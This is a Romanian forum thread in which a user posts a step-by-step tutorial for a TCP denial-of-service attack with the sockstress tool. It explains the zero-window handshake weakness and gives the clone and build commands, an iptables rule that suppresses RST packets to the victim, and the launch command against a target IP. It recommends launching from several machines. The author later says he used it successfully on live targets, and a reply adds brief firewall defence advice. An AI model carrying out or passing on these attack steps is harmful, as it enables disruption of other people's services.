Ganav Posted June 27, 2014 Report Posted June 27, 2014 (edited) Acest tutorial prezinta un mod de a realiza un atac de tip DoS(denial-of-service) folosind utilitarul sockstress. sockstress se foloseste de o vulnerabilitatea in implementarea protocolului TCP, si anume etapa de realizare a handshake-ului. In continuare voi descrie pe scurt atat terminologia cat si etapele de realizare a handshake-ului.TCP este un protocol orientat pe conexiune(connection oriented protocol). Acesta presupune ca, inainte de comunicare, fiecare entitate(client/server) cunoaste identitatea interlocutorului sau(clientul cunoaste adresa serverului si invers). In etapa initiala a transferului de date, clientul trimite un pachet cu fanionul SYN setat. SYN este o prescurtare de la SYNCHRONIZE si are rolul de a verifica daca server-ul are o adresa valida, daca asculta pe portul respectiv sau daca este oprit sau nu. In cazul in care adresa nu este valida sau daca server-ul este oprit client-ul asteapta un interval de timp(timeout) dupa care inchide conexiunea. In functie de aplicatie, conexiunea poate fi incercata din nou. Daca serverul este activ si asculta pe portul respectiv acesta trimite un pachet ce are setate fanioanele SYN si ACK. Fanionul ACK este o prescurtare pentru ACKNOWLEDGE si are rolul de a informa clientul ca server-ul a receptionat pachetul initial(cel cu SYN) si transferul poate continua. Acum clientul trimite un pachet doar cu fanionul ACK setat pentru a comunica server-ului receptionarea pachetului SYN/ACK. Dupa aceste etape handshake-ul s-a realizat cu succes iar clientul poate comunica cu serverul.sockstress exploateaza urmatoarea vulnerabilitate: clientul dupa ce a primit pachetul SYN/ACK poate raspunde inapoi server-ului cu un pachet ACK care are dimensiunea ferestrei TCP 0; in aceasta situatie server-ul aloca memorie si asteapta ca un nou pachet ACK sa fie trimis din partea clientului cu dimensiunea ferestrei mai mare ca si zero. Clientul "spune" server-ului ca inca nu a terminat de procesat datele primite anterior. Acum trebuie sa descarcam sockstress. Rulam urmatoarea comanda:git clone https://github.com/defuse/sockstress sockstressAl treilea parametru(sockstress) reprezinta directorul unde dorim sa descarcam sursele. In cazul in care git nu este instalat rulam:sudo apt-get install gitAcum compilam sockstress:cd sockstresssudo makesockstress se foloseste de socket-uri de tip raw ce necesita rularea ca r00t(sau UID0). Acum trebuie sa cream o noua regula in iptables care are rolul de a preveni trimiterea pachetelor de tip RST(RESET) ca si raspuns la pachetele SYN/ACK generate de sockstress. Daca sunt trimise pachete RST server-ul nu mai asteapta clientul. Drept urmare, conexiunea este inchisa. Rulam ca r00t:sudo iptables -A OUTPUT -p TCP --tcp-flags rst rst -d xxx.xxx.xxx.xxx -j DROPxxx.xxx.xxx.xxx este adresa victimei. Un exemplu de vector de atac este urmatorul(nu uitati sa specificati regula iptables inainte):sudo ./sockstress 192.168.2.5:80 eth0L-am testat doar pe Debian/Ubuntu. Este recomandat ca atacul sa fie lansat de pe mai multe statii. Pentru a modifica regula iptables la starea initiala rulam:sudo iptables -A OUTPUT -p TCP --tcp-flags rst rst -d xxx.xxx.xxx.xxx -j ACCEPT Edited June 27, 2014 by Ganav Quote
cybervu Posted June 28, 2014 Report Posted June 28, 2014 @Ganav frumoasa descriere Pentru cei care vor sa se protejeze ar mai trebui spus ca vulnerabilitatea are deja peste 15 ani si ca un firewall deobicei filtreaza astfel de pachete by default - vezi opensource pfSense . Quote
Ganav Posted June 28, 2014 Author Report Posted June 28, 2014 Nu este chiar asa de veche. L-am postat deoarece inca se poate folosi; ieri l-am testat cu succes pe cateva tinte(firewall-ul nu are implicit setata o regula de filtrare a unor astfel de pachete). Quote
cybervu Posted June 28, 2014 Report Posted June 28, 2014 M'am exprimat gresit. Orice firewall bun poate fi setat pentru a filtra astfel de pachete, iar pfSense este un exemplu, are aceasta optiune bifata by default. Asa este, chiar daca este veche inca se poate folosi, din mai multe motive: nu toata lumea foloseste pfSense. Pe de alta parte iptables nu are nimic setat by default si nu stiu daca se poate crea o astfel de regula pe partea victimei, sau este mai complicat - iptables e complicat oricum pentru incepatori. Altii nu folosesc firewall deloc ...Bun tutorial Quote